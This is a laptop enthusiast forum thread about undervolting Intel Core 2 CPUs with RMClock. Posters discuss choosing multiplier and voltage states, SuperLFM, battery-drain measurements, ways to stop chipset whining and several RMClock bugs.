[ADVANCED] RMClock Powersaving, Whining Stop

Updates to this posting are pending: The one or other statement might slightly change. Nothing dramatic, but incorporating new information and corrections.

This posting will discuss three topics:

i) Undervolting - the smarter way
ii) CPU/Chipset Whining Stop - choices and side effects
iii) Bugs in RMClock - Santa Rosa and M1530/M1330 specific

There's a great undervolting guide written by flipfire:
http://forum.notebookreview.com/showthread.php?t=235824

This posting here goes goes beyond what's written in undervolting guides. It introduces some technics to save even more power and it busts some myths about undervolting. I'm including CPU whining discussions, since undervolting and CPU whining are related in some ways. And most important I'm talking about some bugs in RMClock. I should call them features instead of bugs, but some of them have severe effects and advanced users should be aware of them.

There are some advices included, you can just apply them to your undervolting. Don't expect dramatic changes to the undervolting you've been doing already. Undervolting has the biggest impact. The stuff here is a minor change. However to further improve the stuff this posting is about, you are either required to have excellent knowledge about the technology or excellent testing/measuring skills or both. And I'd like to encourage you to do so.

If you've got something share related to this stuff - go ahead. I'm looking forward.

i) Undervolting - the smarter way

Note 03/26/2009: This thread started to collect experiences from other users. It was not meant as a posting: "Do it that way only." If you look for really good undervolting settings do the following:
. find highest FID that works stable with lowest VID. Most likely this will not be a SuperLFM mode. Anyway this FID/VID combination will be the lowest clock speed you use.
. Now find the lowest VIDs for each FID above the previous one up to the maximum multiplier of your CPU and use all of them. Actually for each VID/FID you found prime95 stable you might want to add 0.0125V (= one VID) for safety reasons: This will allow for CPU degradation over time and makes sure your test cycle wasn't too short and accomodates for all environment temps.
. there is hardly any cpu related headroom for improvement from this point and if that is highly CPU and task dependent. If you think you can do better, backup your data with power consumption graphs.
Note END

When intel introduced the CoreDuo platform they wanted to believe us in this formula:

(page 5: http://download.intel.com/technology/architecture/new_architecture_06.pdf)

This lead many undervolting guide authers to propose underclocking the SuperLFM state. Default Vista SuperLFM frequency is 800MHz on my M1330. And it is often suggested to underclock this on to 600 MHz, which is the minimum FID.

However that's even counterproductive and raises power consumption. It's wrong to do that.

Advise: Use the highest available FID in SuperLFM mode, which you can use with lowest VID. On my T7500 CPU that is 1100 MHz = 11x 100 MHz @ 0,9V.

Why is that supposed to save energy? If a CPU is idling it speeds time in lower C-states and consumes only ~2 Watt:
http://laptoplogic.com/resources/detail.php?id=48&page=4

If you watch idle temps / energy consumption, you won't notice a difference between 600 Mhz and 1100 MHz. Since it simply dosn't make a difference whether you speed 99% of the time in C4 idle (600 MHz) or whether you spend 99,5% of the time in C4 idle (1100 MHz).

But during office work, searching the web etc. there is some load on the CPU and it's desired to get that work done as fast as possible and jump back to low power C4. Let's assume the following properties:

C4 Idle : 2 Watt CPU
600 MHz : 10 Watt CPU
1200 MHz : 12 Watt CPU

Let's further assume a 50% load on the 600MHz. Total power consumption is:

Total_600 = 50% * 10 Watt + 50% * 2 Watt = 6 Watt average

A 50% load on 600MHz corresponds to a 25% load on 1200 MHz. That results in

Total_1200 = 25% * 12 Watt + 75% * 2 Watt = 4,5 Watt average

This was theory. Now let practice speak:

. T7500 CPU running at 0,9V SuperLFM
. 50% Load simulated by Prime95 (just 1 Thread !).
. 4 seconds sampled entire notebook discharge rate recorded

Idle average: 11,4 Watt


600 MHz 50% average: 17,7 Watt


1100 MHz 50% average: 19,5 Watt


The theoretical numbers just investigated the CPU power consumption, while the numbers derived from practicel incorporate the entire notebook (chipset, memory, HDD, ...). You'll find that practical and theoretical numbers match quiete well.

Noticed something?



While having VID fixed, there is no way power consumption could be linear. That simple means: If you take the entire system (memory, chipset, ...) then this formula simply doesn't hold:



I don't have an exact answer why this is the case. I assume it has either to do with other components like the chipset going down when processor states goes to C3/C4. And/or because I/O voltage for FSB is 3.3V and this one will also come to a stop in C3/C4. All this isn't included in the formula and makes it wrong if you want to draw conclusions from processor power consumption to system power consumption.

Raising the SuperLFM clock will reduce overall power consumption. Certainly the less load you have on your CPU, the less power you save by a high SuperLFM FID. It converges against idle power dissipation.

But don't think office use isn't demanding. It all depends. Just browse to http://maps.google.com, drag the map and watch cpu load.

I would like to go that road even further. Meaning: Despite the fact that raising the VCore voltage raises power consumption in a quadratic manner: Have the CPU get its work done as fast as possible. Don't waste your time trying to find the optimal VID for every single FID.

Advise: Just use two FID states. One is the SuperLFM with the maximum FID. And the second is normal mode, maximum FID and minimum VID.

Example: my T7500 uses
. SuperLFM 11x = 1100MHz @ 0.9 V
. Normal 11x = 2200MHz @1.025 V

Forget about the FID in between. Use two. That's it. The general idea is summarized here:
http://mjg59.livejournal.com/88608.html

Also intel admits that this strategy often pays of:
Picture and article:

http://softwarecommunity.intel.com/articles/eng/3726.htm

The latter part is the difficult one that doesn't work too well in practice and I'm using this fact to improve my undervolting / energy consumption.

Certainly there are cornercases: I've seen T9300 CPUs whose last FID Step requires much more VID than before:
T9300 12x @1.0V = 2400 MHz
T9300 12.5x @1.0375V = 2500 MHz
In those cases, you clearly want to have a third 12x step. However this one emphasizes again that you are unlikely interested in any steps between a SuperLFM of 1200MHz @0,95V and a 2400MHz @1,0V. The 0,05V difference is just not worth it and you should get your work done fast to save even more energy.

Using only a few or even just two FID/VID steps is also desirable from a management perspective: You only need to do two prime95 runs. Debugging FID/VID problems is also easier if you just have two steps.

If you tested the entire spectrum of FID/VID with Prime95 or other tools, please post your FID/VID table. I'd like to take a look at it.

There's one aspect that's contrary to using a few steps: It's Management / P-states transitions method / Perform single-steps transitions only. Some people claimed having used that to get better VRM stabilization when using undervolting. The less steps you have, the bigger the transitions are and that means potentially instability. However using the highest SuperLFM mode is productive again. It lowers step size.

Last but not least: It's a good question whether it's worthwhile using SuperLFM at all. It lowers FSB clock 200MHz -> 100MHz and that lowers the power dissipation of the northbridge as well. Therefore I think it's good to use it, some might have better results using it not at all if they have clocks suchs as >= 2GHz @0,95V.

ii) CPU/Chipset Whining Stop - choices and side effects

Option 1 (best) :
. use an undervolting guide and use a high SuperLFM multiplier.
. The reason why this works is that it lowers the differences between idle and load power. And the smaller those differences are, the less noise you have. That's the same reason you LV/ULV CPUs are less affected of CPU whining.
. only if that option turns out NOT being sufficient for you, apply the settings of option 2 in addition.

Option 2 :
. RMClock / Advanced CPU settings / Chipset
[ ] Enable Popdown mode
[ ] Enable Popup mode
+ only uses slightly more power in idle and less than all other known walkarounds. On my machine 15.2 Watt compared to 11.4 Watt, which is without having anything except undervolting applied.
- most likely thermal management on M1330/M1530 breaks (see bugs below)

Here's where the 15.2 Watt come from:


Option 3 :
. RMClock / Advanced CPU settings / Chipset
[x] Disable C4 mode
+ works for some people
- may make your system hang:
http://forum.rightmark.org/topic.cgi?id=6:1257
- uses more power than option 2. On my machine 17 Watt.
- most likely thermal management on M1330/M1530 breaks (see bugs below)

Here's where the 17 Watt come from:


Option 4 :
. RMClock / Management
[x] Run HLT command when OS is idle (restart required)
+ works
- most inefficient way of reducing noise, since only C1 state is used (no C2, C3, C4). I didn't test power consumption though.
- 100% CPU load displayed in all applications (taskmanager, ...) , since RMClockHLT.exe is running and stealing processor cycles.

iii) Bugs in RMClock - Santa Rosa and M1530/M1330 specific

Bug #1 : 0.5x multipliers not working

In case you have a CPU that uses 0.5x multipliers such as T9300, which uses 12.5x you are stuck at 12x if you just use a couple of FID/VID states. You are forced to enable IDA mode to get you maximum multiplier:
http://forum.rightmark.org/topic.cgi?id=6:1601

Bug #2 : Thermal monitor might break

Thermal Monitor 1/2 is a feature that throttles the CPU if temperatures get too high. That happens at 105°C with 45nm Penryn CPUs and at 100°C with 65nm Merom CPUs. For example an active Thermal Monitor 2 looks like this:



However I discovered that Thermal Management breaks, if you change anything in the Advanced features section of RMClock. You even don't need to change anything, but check a box, uncheck it and after that click apply:
http://forum.rightmark.org/topic.cgi?id=6:1533#5

A broken thermal management means, your notebook will reset once it reaches those temps. It won't reach those temps anyway if you are undervolting, but it's an important thing to remember. Unfortunately I think those people trying to fix there CPU whining (if not appying undervolting at the same time) are suffering from this. Though I haven't done much testing on this issue.

By default [ ] TM1/TM2 is disabled on M1330. That's against intel spec as cited in the above link. However you also can't check it to enable TM2 again. If you do that your FID gets stuck. Dell has implemented some own stuff here in the SMBIOS.

Bug #3 : VID/FID jumps

Even if you just use one or two VID/FID states, you will discover that Windows Vista is interfering with RMClock. You will have VID/FID spikes and jumps like this:



It can be fixed by changing the current energy profile of Vista such that the mininum processor power state = maximum processor power state = 100%. Actually any other % number will also work, they just have to be the same:
http://forum.rightmark.org/topic.cgi?id=6:1591

Bug #4 : wrong 45nm Penryn temps

T_Junction for 45nm mobile CPU is 105°C and for 65nm its 100°C. RMClock 2.35.0 only knows about the 65nm ones. In case you have a 45nm CPU, you have to add 5°C to the displayed values or correct:
[HKEY_CURRENT_USER\Software\RightMark\RMClock\CpuTempOffset] see RMClock_Tweaks.reg

Bug #5 : RMClock may crash on exit

Check FAQ of RMClock.htm. It's covered there, but doesn't help always.

 

Nice info here!

I also wondered a lot about LFM and this is pretty cool intel (pun intended).

 

good reading, 10x alot

 

going to use some of this info.... reped!

 

Anyone know why my processor stays at the minimum frequency after following this guide even when at 100% orthos load?

 

If you enable one of the
[x] Thermal Monitor 1
[x] Thermal Monitor 2
in Advanced settings, your clock is stuck at minimum frequency. It's mentioned in Bug #2 and also here:
http://forum.rightmark.org/topic.cgi?id=6:1533

Seems to be M1330/M1530 specific.

If you didn't check any of those and it's still stuck, then I currently don't know.

RMClock comes with a RMClock_WipeOut.reg script to clear all registry data. In case you screw up, you may start from scratch.

However the stuff I've written isn't meant to be a guide. Probably start with flipfire's first. And from that one it's easy to apply some changes: e.g. uncheck some FID/VID settings in profiles and raise the SuperLFM FID. That's basically all.

 

Great research you have there

SuperLFM multiplier should only be used for Idling, NOT FOR CPU LOAD. Thats what the other multipliers are used for, to do the job quicker at faster speeds(which was your goal).

Hypothetically, lets say were watching an 1 hour encoded movie which only needs 1.4ghz of CPU power. Since you only have a choice between 2 VID's (1.1ghz and 2.2ghz). It will run now on 2.2ghz full instead of using the usual intermediate 1.4ghz multiplier. Thus making the:

approach completely useless unless you wanna watch your movies in fast forward to get the work done quicker and get back to C4 idle state. Watching a 1 hour movie at 10000000000000ghz wont get the task any quicker than 1.4ghz. It will still be 1 hour long in the end.

All its doing now is running the CPU full speed 2.2ghz for a whole hour even though all it needed was 1.4ghz of power all along.

You no longer have intermediate multipliers. You only have IDLE and FULL speed. Not all tasks use the "get that work done as fast as possible" approach. So now instead of using the middle multipliers, its using full speed uneccessarily for these specific processes.

Try driving a car with only brakes and full throttle

......... actually that would be fun.

 

Yes, it will run at 2.2 GHz and still consume less energy than 1.4 GHz. That's what my entire posting is about.

Your misconception comes from the fact that C-States and P-States are orthogonal. You can do the entire calculation again with your video:

C4 Idle : 2 Watt CPU
1.4 GHz 100% Load = 14 Watt (these are undervolted numbers)
2.2 GHZ 100% Load = 20 Watt (these are undervolted numbers)

Playing video @2.2 GHz = 64% * 20 Watt + 36% * 2 Watt = 13,5 Watt

However playing video is somewhat different to other tasks and let me explain some more basics before we get to the advanced stuff.

At any given time the CPU spends either time in P-States (Performance States) performing machine instructions or time in C-States (C1, C2, C3, C4). It can't do both at the same time. If I'm going to reduce the total number of P-States to one (2,2 GHz here), then the CPU will still enter C-States (and stay there longer). Power dissipation is still low as can be seen here:



It's crucial to understand that. The next important aspect is to recognize the way the operating system switches between those states:


(page 3: http://download.intel.com/technology/itj/2006/volume10issue02/vol10_art03.pdf)

There are a couple of things to say:

. The deeper the C state, the longer it takes to wake up. From C1 you can wake up almost immediately, whilst from C4 it takes you ~150 microsecs to wake up.
. The OS maintains a history of last C-States. That means if you were in C4 before, it'll go there directly after performing work, without going down the entire cascade (different P-States -> C1 -> C2 -> C3).

Now back to the video example. There are a couple of things, that are different here and the above calculation example doesn't apply.

#1: It's a good question, whether the system enters C3/C4 at all during video playback, since the wakeup penalty in addition to the energy required to perform the wake up is worth it. See Power-Performance Tradeoff here:
http://www.lesswatts.org/documentation/silicon-power-mgmnt/

It takes 50 microsecs to recover from C3 and ~160 microsecs to break from C4:
http://www.techarp.com/showarticle.aspx?artno=420&pgno=5

For C3 these wakeuptimes are concise with my system since I can display the latency:
cat /proc/acpi/processor/*/power
The current kernel I'm using (default ubuntu 8.04) doesn't support C4 on my system as it seems.

Playing 720p MPEG4-AVC trailers, my system still enters C3 states:



Intel observed the same (see final results):

http://softwarecommunity.intel.com/articles/eng/1086.htm

#2: You can't play a video at 100% load at 1,4GHz. You can if you have 1,4GHz your highest p-state, but otherwise the OS/RMClock will switch to a higher p-state. You can see from Profiles / Target CPU usage level % that the OS will switch higher if you have a higher load then 50 %. It's also depicted in the intel figure above. Therefore the 100% 1,4GHz Load video will run at your highest P-state (>= 2,8 GHz)

#3,#4: Variable Bitrate Encoding (require switches between P-States if you have too many) and the fact that a DualCore CPU can only power both cores with the same P-State are making calculations much more difficult.

At the end of the day you'll notice that:
. if you have a video that produces < 50% load @SuperLFM 1100 MHz, then SuperLFM is the most efficient way to play it back
. if you have a video that produces > 100% load @SuperLFM 1100 MHz, then the 2,2 GHz will be used anyway
. there are certain videos, which are hard to predict at which VID/FID they are played back best. Flipfire is correct in saying that might be the case for a VID/FID lower than max. However it most likely won't be 1400 MHz since this a frequencies which can be used at lowest VID anyway. Search my posting for the T9300 CPU and it's more likely being this VID/FID. If you really want to do nitpicking here it gets way more complex: You have to reduce the total number of P-States in order to avoid unnecessary P-State transistions during playpack which just suck energy, but don't display a single frame (the transitions itself take useless time).

There's not much sense for more theory here. Practice will be different anyway. For example: If you have HW Accel Video capabilities (like the GeForce 8400M GS) for MPEG4-AVC, VC-1, MPEG-2 then use it this will lower your total power consumption far more than any of the previously stuff taked about:


http://softwarecommunity.intel.com/articles/eng/3798.htm

If somebody conducts an power analysis in practice for higher VID/FID vs. lower VID/FID in certain applications (like video playback), I'd be happy about the results.

More important in my posting is the advise to pick a high SuperLFM P-State. How many P-States you choose - I don't care that much. I relaxed that anyway in the section about the T9300 CPU.

Two things:

. If I wouldn't use SuperLFM at all (like the Centrino platforms before Santa Rosa did), then 1100 MHz (or higher) would be my lowest P-State. Exactly this kind of P-State which allows me to run my CPU at the lowest VID. It will save more energy than any 600MHz mode.

. However I decided to incorporate SuperLFM in undervolting, since it reduces the power consumption of the northbridge to some degree. The performance loss I receive by having "only" half the FSB clock can be neglected at the frequencies.

It'll spend definitely a lot of time in C1. It doesn't make too much difference anyway as state above.

Actually I'm doing something completely different:

I'm using FSI (Fuel Stratified Injection) engine technology. While you are trying to fill the entire cylinder with a gasoline/air mixture (= using all clock cycles), I'm using the same cylinder but just loading the upper part of it (= using SuperLFM at higher FID and spending more time in lower C-States). The Turbo version of this engine (TSI) corresponds to switching from SuperLFM -> normal mode. It's latest technology.

 

Cheers. I know what I'm doing as I use this to simply undervolt everything and disable popup (popdown stays on though as that doesn't cause the whine) but something went funny.

 

Did you find out what caused you sticking at the lower frequencies?

Between those settings there is no difference:

[ ] Enable Popdown mode
[ ] Enable Popup mode

[X] Enable Popdown mode
[ ] Enable Popup mode

What Popup does is that it prevents certain busmaster snooping events to be a Break-Event. A break event is one that causes a C3/C4 -> C0 transition (see figure in my posting before). Instead those busmaster snoops only cause a C3/C4 -> C2 transition when popup is enabled.

Popdown causes the reverse transition to happen C2 -> C3/C4, but ONLY if a Popup occured before. If you disable Popup, it doesn't matter whether Popdown is enabled. It can't be triggered.

page 167:
5.13.5.4 POPUP (Auto C3/C4 to C2) (Mobile Only)
5.13.5.5 POPDOWN (Auto C2 to C3/C4) (Mobile Only)
http://www.intel.com/Assets/PDF/datasheet/313056.pdf

 

Very interesting, but I would prefer the theory to be backed up by some real life tests such as playing the same DVD under the same operating conditions except for changing the CPU options. DVD playback provides a partial CPU load so it should be a good indicator.

2W power consumption on C4 idle seems low to me. What is using the other 9W of the total 11W idle power consumption? Table 6 of the Intel data sheet 31674502 shows 9.4A current for ICC Intel Enhanced Deeper Sleep (top of 2nd page). The voltage range for this power condition is 0.55 to 0.75W. Leaving frequency and capacitance out and assuming watts - volts x amp then the power drain for IDC4 is between 5.17 and 7.05W. Does frequency / capacitance reduce this down to only 2W?

I'm also intrigued that you have a discharge monitoring options within the Performance Monitor. I've never found it on my computers.

John

 

I'm as well very interested in real life tests. I hope some guys do that an post their results.

I just added a new figure and document by intel which supports the thesis of getting work done quickly. Search for "admits" in my first posting.

Yesterday I did some testing with 720p movie trailers from apple. I tested three different voltages:

[ ] 1.1 GHz @11x SuperLFM 0.9V (= highest FID in SuperLFM for me)
[ ] 1.6 GHz @8x normal 0.9V (= highest FID in normal mode with lowest voltage)
[ ] 2.2 GHz @11x normal 1.0250V (= highest FID in normal mode)

In that particular case the 1.6 GHz option was the best. I played the content using coreavc. The OS did not choose the optimal GHz since it was too often in 2.2 GHz. Actually the OS/RMClock chooses based an CPU utilization and isn't aware of voltages.

In my second posting I just added a practical paper measuring power consumption if hardware acceleration is available (MPEG-2, VC-1, MPEG4-AVC). Search for "HW Accel". In that case hardware acceleration performs much better than any kind of software decoding. In the case of MPEG4-AVC you'll even hit 0-2% CPU utilization playing blurays.

I know the intel datasheets and since it's the same table that shows the TDP, I assume those 9.4A for Deeper Sleep are some worst case scenarios (also the 100°C Tjunction indicate that). Mybe during transition time Deeper Sleep -> break.

All other numbers I found are much lower:
http://www.lesswatts.org/documentation/silicon-power-mgmnt/
http://laptoplogic.com/resources/detail.php?id=48&page=4

The other 9 Watt account for: memory (2GB), chipset (GM965), graphics core (X3100 in GM965 chipset), harddrive (it's spinning), w-lan, bluetooth, ...

You have to be running on battery to have this one. Then under section battery there will show up an item Discharge rate.

My entire posting might be not valid for desktop computers: They have just C1, C2. Power saving isn't an issue for desktop computers that much anyway.

 

Nice post!
What settings do you suggest for a T9300 ?

something like this?:

11x SuperLFM
12x Normal
13x IDA

How about the C-states and should I enable the IDA under "advanced cpu settings"?

I find that when I use RMClock my system seems to be using more % of the cpu at idle, why is that ?

 

wow this is getting pretty technical, so much for simplicity.

Im not quite sure i get your maths. Ill admit i skipped all this earlier.

Can you elaborate on this?

I thought we were using this formula:


-

For my stock T2500 its quite simple.

From wikipedia:



It uses 31watts of power at full throttle. Say i only need 1.4ghz of power:

1400mhz/64.5 = 21watts

Since you say full speed is better:

2000mhz/64.5 = 31watts

 

I was hoping to find some guys who did some more investigation on this. It's not trivial and currently I don't think there is a trivial answer. Though this might change.

If you use that formula, you won't save energy by using a higher FID. Simply because the factor I'm earlier finished doing the task, the reciprocal of this factor I need more energy.

For reasons of simplicity let's assume those two:
C4 Idle : 0 Watt CPU
600 MHz : 10 Watt CPU

If I have the 600MHz clock running for 1 h, then I spend this amount of energy:

Energy_600MHz = 10 Watt * 1h = 10 Wh

According to the formula of intel, the power consumption of a 1200 Mhz clock must be 20 Watt. It's in 1/2h finished doing the task and will spend the remaining time in C4. It results in the same energy:

Energy_1200MHz = 20 Watt * 1/2h + 0 Watt * 1/2h = 10 Wh.

That's actually a corollary of the intel formula. As long as this formula holds, you won't save any energy ever by using a higher core clock.

I've put a graph underneath the three power measurements (probably after you read it). And the basic message is: This formula doesn't hold. The formula probably holds for any semiconductor including CPUs. But it doesn't hold for the power consumption of a notebook since there are more devices (memory, chipset, front side bus) drawing current which aren't included in this formula and those do have an impact. Those other devices depend on the processor state and are not constant. That's the deal.

The intel datasheets mention the TDP (Thermal Design Power) as well as wikipedia does. That's a worst case scenario. And for practical reasons intel packages CPUs in classes of TDP. Therefore the T2600 CPU with 2.16 GHz has the same TDP as a T2400 with 1.83 GHz as shown on wikipedia.

However that's clearly not the case. A 1.83 GHz CPU consumes less power at full throttle than a 2.16 GHz CPU (given same production process, same batch, same stepping etc.). It's even a contradiction to intels own formula - see above.

Unfortunately TDP doesn't help here at all. Practical numbers help. Or something like
http://www.spec.org/power_ssj2008/

I've updated the first posting by a figure of intel that goes in this direction and is more advanced that this simple formula from the Core CPU marketing paper.

 

Okay now im confused

Again, lets say we want to watch a 1 hour movie at 600mhz:

Energy_600MHz = 10 Watt * 1h = 10 Wh

Now lets watch a 1 hour movie in 1200mhz:

Energy_1200 = 20Watt * 1 hr = 20wh

Speedstep:
Running a processor at high clock speeds allows for better performance. However, when the same processor is run at a lower frequency, it generates less heat and consumes less power. In many cases, the core voltage can also be reduced, further reducing power consumption and heat generation. This can conserve battery power in notebooks, extend processor life, and reduce noise generated by variable-speed fans. By using SpeedStep, users can select the balance of power conservation and performance that best suits them, or even change the clock speed dynamically as the processor burden changes.

The power consumed by a CPU with a capacitance C, running at frequency f and voltage V is approximately[1]

P = CV2f.

For a given processor, C is a fixed value. However, V and f can vary considerably. For example, for a 1.6 GHz Pentium M, the clock frequency of can be stepped in 200 MHz increments over the range from 1.6 to 0.6 GHz. At the same time, voltage requirement decreases from 1.484 V to 0.956 V. The result is that the power consumption theoretically goes down with a factor 6.4.

 

The above formula doesn't account for idle states. Any Idle state C1, C2, C3 stops the entire execution pipeline and beginning with C2 core clock goes to zero. The first calculation that I've done in my fist posting does consider this fact and assumed a 100% CPU load in the 600MHz case and a 50% load in the 1200MHz case. If you want to say so, read the intel formula like this:

P = (% spend in C0-State) * Capacity * VCore^2 * f + (1 - % spend in C0-State) * Power in C4

It makes the formula somewhat better, but not too much.

Maybe you're saying it won't spend time in higher C-States if you play movies. Playing 720p content in Linux and using powertop I showed that it's still spending time in C3 (my Linux distro can't do C4 or isn't aware of that):



The average time spend in C3 each time it entered it was 1ms. On an 2.2GHz CPU that's 2200 clock cycles, where entire execution came to a stop.

--

I'm currently working on making things more clear and providing more practical experiments. But it's not finished. However for those, who follow this is the intermediate status:



The dark blue line are real measurements of power I've taken on my system at load. The higher the clock goes the more work the system is able to perform. If the system is not under full load, it stays the time that it's doing nothing in some idle state. Actually the 0 Mhz clock in the graph corresponds to the idle power consumption I measured on my system.

If the load is sufficiently small (like office work) I can choose whether the system should do this work at 600MHz or at 2.2 GHz.

Each task will be completed much faster and more time spend in C-States. The proportion by which tasks are performed faster has to make up for the additional power that's necessary during that time. If you take a pencil and a paper and work with either of the above two formulas (intel's or the extended one), you'll figure out that this can never happen. You could never make up for the additional power you require. Maybe I'll post the maths here, but it's useless anyway. It's useless because the measurements I've taken differ from this logical model.

I'll post the conclusions first and give explanations in a later posting:

. if there's a dot above the yellow line that means this VID/FID performs worse regarding energy that it would have been at 2.2GHz and spending more time in C-States. That is even true for the 600 Mhz SuperLFM mode.
. the best mode I found is the 1.6 GHz 0.9V mode, which beats any other below that frequency.

 

This is one of the best posts I read in a long time!
Im relatively new to undervolting (just got my laptop last week) but have done lots of reading and getting into it for a while now.

I read this theory that you go by a few months ago in a german forum..they seem to compliment eachother very well

Thanks a lot for all of this!

-COW

PS: just running an orthos test, T8300: 12x @ 0.9750, been going stable for 3 hours now! I seem to be quite lucky

If you need some specific help/tests run from this machine let me know exactly what you need and maybe I can help. I want to help but Im just not really sure how to...

 

Ahh Silly me,

I jsut realised you were the author of the German posts
You seem to get around

Respect!

-COW

 

7opy:

First of all thanks the guide. Helped me a lot. Actually really a lot.
I have both Vista and XP. When I used Vista I noticed the bug 3 "VID/FID jumps" and I solved it by following your link above.

But I had this "jump" for XP as well. I have the same intel cpu like yours and use only 2 FID/VID as well (Super LFM: x11/0.9 and 11*1.0250). Using Orthos, TAT the voltage level showed the correct numbers, but when I defraged the system and checkd the monitor tab in RMclock sometimes the VID went up to 1.25...

Any idea to solve it?

Thanks again.

 

What causes the VID/FID jumps seems to be an inference of Vista's P-State management and RMClocks'. While there is no global button to entirely deactivate P-State management of Windows, what helped was to walk around by making sure Windows won't switch P-States (= setting min == max P-State).

Anyway, I guess the same can be done in XP:




Appendix A:
http://www.microsoft.com/whdc/system/pnppwr/powermgmt/ProcPowerMgmt.mspx

EDIT: and I found one that also presents the states for DC (= battery) power:

http://www.microsoft.com/whdc/archive/winpowmgmt.mspx

Just staying away from any "Adaptive Processor throttling policy" should do the trick for XP as well.

--

Regarding the just two P-States: The main reason why I wrote this posting was to find people who've done very good power measurements and to come up with some better power settings regarding the CPU. However I didn't find any and I'm lacking time to do precise measurements myself.

However my current understanding (based on quite a lot of measurements) is:
. The minimum P-State should be the highest possible FID which still runs with minimum VID. Most likely even if you leave SuperLFM for this.
. I can hardly measure any difference between then having a lot of P-States or just two. That means: You don't make too much wrong if you follow the most common undervolting guides by trying to find the minimum VID for every single P-State. Other settings and drivers do have a much bigger impact such as this one:
http://www.intel.com/support/wireless/wlan/sb/CS-024509.htm

 

thanks i will try it out...

 

it seems that it works... thanks again...

 

Hey nice howto.

I have a Latitude E6400 notebook and the whining cpu problem (well as far as i know it is the a chipset problem on the mobo). I can't disable the C4 state or the popdown/popup thingy because my cpu support 0,5x multiplier and rmclock do not recognize my chipset.


I tried to lower down the voltages of the highest multiplier (8x) and of the SuperLFM .. thing. But the whining was still there.
Maybe I have used the wrong values.


Any ideas? Maybe someone knows a simple program to stress the cpu so slightly to avoid the c4 state?

CPU specs:
P8400 Intel Core 2 Duo 2,26 GHz

 

Yes that's correct: RMClock hasn't been updated for the more recent intel chipsets such as PM/GM45.

And it's also correct that lowering the core voltages reduces the whining only to a certain degree, but doesn't disable it as the other methods ([x] disable C4, popup/down) do.

However you might want to look at Option 4 in section:
ii) CPU/Chipset Whining Stop - choices and side effects
[x] Run HLT command when OS is idle (restart required)

It's in a different menu RMClock / Management and doesn't require specific chipset support. It steals idle cycles and prevents the CPU from sleeping. Actually it's putting the CPU at C0 sleep state. This will stop whining and still reduce in might lighter CPU load than any other application, since it's a sleep state and not a working state.

However you still might want to have a look at power consumption. It will draw more current from the battery during office work. Also the task manager will always display 100% load for two processes : RMClockHLT.exe. I consider this only a solution if whining is really, really annoying.

 

so u mentioned something about having over 2ghz and at .95v wouldnt need a slfm, what do u mean by that?

my undervolting figures are here
9x slfm .9v 1.26ghz
6x norm .9v 1.68ghz
7x norm .9v 1.96ghz
8x norm .9375v 2.25ghz
9x norm .95v 2.53ghz

what should my set up be?

my gf's laptop only has 6x to 9x with frequency of 1 to 1.5 ghz. is there a point of using the lowest multiplier or should i just keep it at 1.5ghz? she doesnt have slfm.

 

In your case I wouldn't use the 6x multiplier at all. The 7x multiplier operates at the same voltage and allows to have the CPU sleep longer during light loads. Will result in slighty (very slightly) lower CPU power consumption. Can be measured, but hardly noticed. Just not to give wrong expectations.

The idea of the Super-LFM mode is to also reduce power consumption of the Northbridge (PM965) by operating the FSB at half speed (100MHz instead of 200MHz). However I never did measure any power consumption benefits in favor of the Super LFM mode. Instead power consumption using SuperLFM was higher similar to the argument about the 7x multiplier.

Personally I'd just use those:

7x norm .9v 1.96ghz
8x norm .9375v 2.25ghz
9x norm .95v 2.53ghz

I do have SuperLFM mode disabled.

It is incredible that your CPU works at 2.53 GHz with just 0.95V. It may be the case that in a couple of months you have to raise these values due to CPU wear out.

 

so the point of this is that... given the same VID, u should always pick the highest multiplier?

 

Yes, same VID, then highest multiplier results in lowest overall power consumption. And it turns out in practise that this is even the case if the higher multiplier has a slightly higher VID (references given in 1st posting).

However the differences e.g. between flipfire's undervolting and this one here are very very very minor. Undervolting is good - which one you chose, doesn't matter that much. LCD brightness, wireless transmission power etc. do have a much bigger impact.

Power consumption is anti-proportional to battery durability. While fan noise also correlates with power consumption, it might be slightly differnt: Fans operate on temps, which are measured at certain locations. Undervolting therefore often helps also more to reduce fan noise, which other methods of lowering power consumption can't.

 

ya, after 2 days of experimenting with higher FID in hope of better battery life..... it seems to brun right through it!!!

i used to use less than 30% of battery an hour, now i use 40% an hour. i have gone back to using my superlfm and activating all my multipliers.

 

If I find some time, I'll update the first posting:

. The VID/FID selection is also highly CPU dependent. For instance there are some CPUs which require an unusual high VID for the last FID step. Those CPUs will always draw more power if you just work with the highest VID/FID. The sleep states won't make up for this. In these cases it may be smarter to entirely disable the last FID for office work or at least provide the penultimate VID/FID, which prevents switching to the highest VID/FID if not really necessary.

 

7oby, if I were to run some tests, what software do you recommend to monitor the discharge rate of the battery?

 

I suggest using the Reability and Performance Monitor which comes with Vista. However it will only display the discharge rate if you run on battery. When comparing I used the average value while having the same load.

I have an external AC power meter as well. However those don't work with switching power supplies well. Those power meters would have to have a very high sample rate in order to be accurate, which the cheaper ones don't have. Their intended use is if cos phi is constant.

To start with I recommend:
. use highest FID, which works with lowest VID possible

That's a pretty good one and then compare this one to other FID/VID combinations. I will update the posting on the first page with more recent results and comments in from this thread in a couple of days.

 

hey 7oby,
Thanks for the great guide, just to check i'm on the right lines...
my results for my t9300 are:
superLFM 12x .95v
6x .95v
7x .95v
8x .95v
9x .95v
10x .95v
11x .9625
12x .9750
13x .9875

would you recommend 10x 11x 12x and 13x with superLFM disabled as it's at the same VID as 10x?

Cheers

 

this is the best thread ever. Period.

 

this is a great guide, first of all thanks for putting effort into this tutorial.

what I am confused about is, if my 8.0x could be ran under the lowest VID, should I use that as my "low state" or use "superLDM 8.0x" (same VID)?

 

Let's assume your lowest VID=0.9V and it runs stable in both configurations:

800MHz = FID 8x 100MHz = FID 8x SuperLFM
1.6GHz = FID 8x 200MHz = FID 8x normal mode (FSB800)

Your question now is: Should I still use SuperLFM or have the lowest possible frequency be 1.6 GHz? What I did to answer that question is to put some light load on the PC (e.g. playback of a small video) and measure the ACPI battery discharge rate.

I tested two different processors:

T7500 : 800 MHz (SuperLFM) vs. 1600 MHz (normal) @ 0.9V
T8300 : 800 MHz (SuperLFM) vs. 2000 MHz (normal) @ 0.95V

The result was that the normal mode wins in terms of power consumption. That means I don't use SuperLFM at all. Try it yourself!

--

It follows some background information:

If you take an FSB1066 CPU and multiply that with the default minimum multiplicator of Windows 8x you end up with 2,13 GHz. At that clockrate that CPU won't run at its minimum VID. At least intel doesn't sell it's T- and P- type core2duo CPUs this way. SuperLFM allows those CPUs to run at ~1GHz with it's minimum VID be it 0.9V or 0.95V.

